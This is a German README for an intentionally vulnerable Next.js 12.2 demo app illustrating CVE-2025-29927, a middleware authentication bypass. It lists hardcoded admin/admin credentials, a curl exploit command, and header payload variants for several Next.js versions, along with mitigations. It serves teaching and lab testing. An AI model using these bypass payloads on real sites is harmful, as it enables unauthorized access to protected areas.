Hello World - Next.js 12.2

Eine einfache Proof-of-Concept-Anwendung mit Next.js 12.2.

🚀 Schnellstart

1. Abhängigkeiten installieren

npm install

2. Entwicklungsserver starten

npm run dev

Die Anwendung ist unter http://localhost:3000 verfügbar.

🛠️ Verfügbare Skripte

• npm run dev – Entwicklungsserver starten
• npm run build – Für Produktion erstellen
• npm run start – Produktionsserver starten

🎯 Funktionen

• ✅ Next.js 12.2 – Neueste stabile Version
• ✅ React 18.2 – Moderne React-Funktionen
• ✅ Einfaches Design – Saubere, responsive Benutzeroberfläche
• ✅ Authentifizierungssystem – Anmeldung mit fest codierten Anmeldeinformationen
• ✅ Admin-Panel – Geschütztes Dashboard mit sensiblen Daten
• ✅ Verwundbare Middleware – Demonstriert Auth-Bypass-Techniken
• ✅ Exploit-Demo – Einfach reproduzierbare Sicherheitsprobleme

🔧 Anpassung

Bearbeite pages/index.js, um die Hello-World-Seite anzupassen. Die Anwendung verwendet der Einfachheit halber Inline-Stile, du kannst aber nach Bedarf CSS-Dateien oder Styling-Bibliotheken hinzufügen.

🔓 CVE-2025-29927 Sicherheitsdemo

Diese Anwendung demonstriert die CVE-2025-29927-Sicherheitslücke, entdeckt von Rachid.A (zhero) und Yasser Allam (inzo_):

📋 Details zur Sicherheitslücke

• CVE: CVE-2025-29927
• CVSS: 9.1/10 (Kritisch)
• Betroffen: Next.js 11.1.4 – 15.2.2
• Auswirkung: Vollständiger Middleware-Bypass mittels x-middleware-subrequest-Header

🎯 Demo-Anmeldedaten

• Benutzername: admin
• Passwort: admin

🚨 CVE-2025-29927 Exploit-Methoden

1. Browser-Erweiterung (ModHeader) – x-middleware-subrequest: middleware-Header hinzufügen
2. JavaScript-Konsole – Fetch mit dem Bypass-Header verwenden
3. cURL-Exploit – curl -H "x-middleware-subrequest: middleware" http://localhost:3000/admin
4. Python Requests – Header hinzufügen, um Middleware vollständig zu umgehen

🔧 Payload-Variationen

• Next.js 12.2+: x-middleware-subrequest: middleware
• Mit /src-Verzeichnis: x-middleware-subrequest: src/middleware
• Next.js 15.x: x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

🛡️ Gegenmaßnahmen

• Update auf Next.js 15.2.3+ (14.2.25+ für 14.x)
• x-middleware-subrequest-Header auf Proxy/CDN-Ebene blockieren
• Zusätzliche serverseitige Validierung implementieren

⚠️ WARNUNG: Dies demonstriert eine echte CVE nur zu Bildungszwecken!

📦 Abhängigkeiten

• next: 12.2.0
• react: 18.2.0
• react-dom: 18.2.0

🎨 Styling

Diese Anwendung verwendet der Einfachheit halber Inline-Stile. Für eine Produktions-App solltest du Folgendes in Betracht ziehen:

• CSS Modules
• Styled Components
• Tailwind CSS
• Oder jede andere Styling-Lösung

Viel Spaß beim Programmieren! 🚀